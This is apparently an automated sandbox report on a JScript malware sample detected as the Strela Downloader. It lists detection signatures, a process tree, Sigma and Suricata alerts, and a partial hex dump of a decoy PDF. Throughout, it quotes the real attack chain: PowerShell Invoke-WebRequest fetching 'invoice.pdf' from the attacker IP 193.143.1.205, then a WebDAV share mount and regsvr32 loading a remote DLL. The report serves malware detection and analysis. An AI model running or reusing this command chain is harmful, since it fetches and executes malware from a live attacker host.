Edit tour

Windows Analysis Report
10076292573176921778.js

Overview

General Information

Sample name:	10076292573176921778.js
Analysis ID:	1588645
MD5:	836cc8756a29fe2acb23d1fdb749ef14
SHA1:	146051d8b177b8cbabcf227796d49d144265dc03
SHA256:	9f7f3ccf9ea7b0a2bcd36f2841a3759038a8cefb01d4dc745c58827df491d909
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3592 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7144 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6064 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7252 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1556,i,8571969027995693465,18200781173583112081,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5172 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2740 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3592	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ProcessId: 3592, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2740, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ProcessId: 3592, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7144, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2740, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7316, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2740, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll, ProcessId: 8, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:37:48.400878+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:37:51.278052+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:37:48.400878+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 10076292573176921778.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10076292573176921778.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10076292573176921778.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:37:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 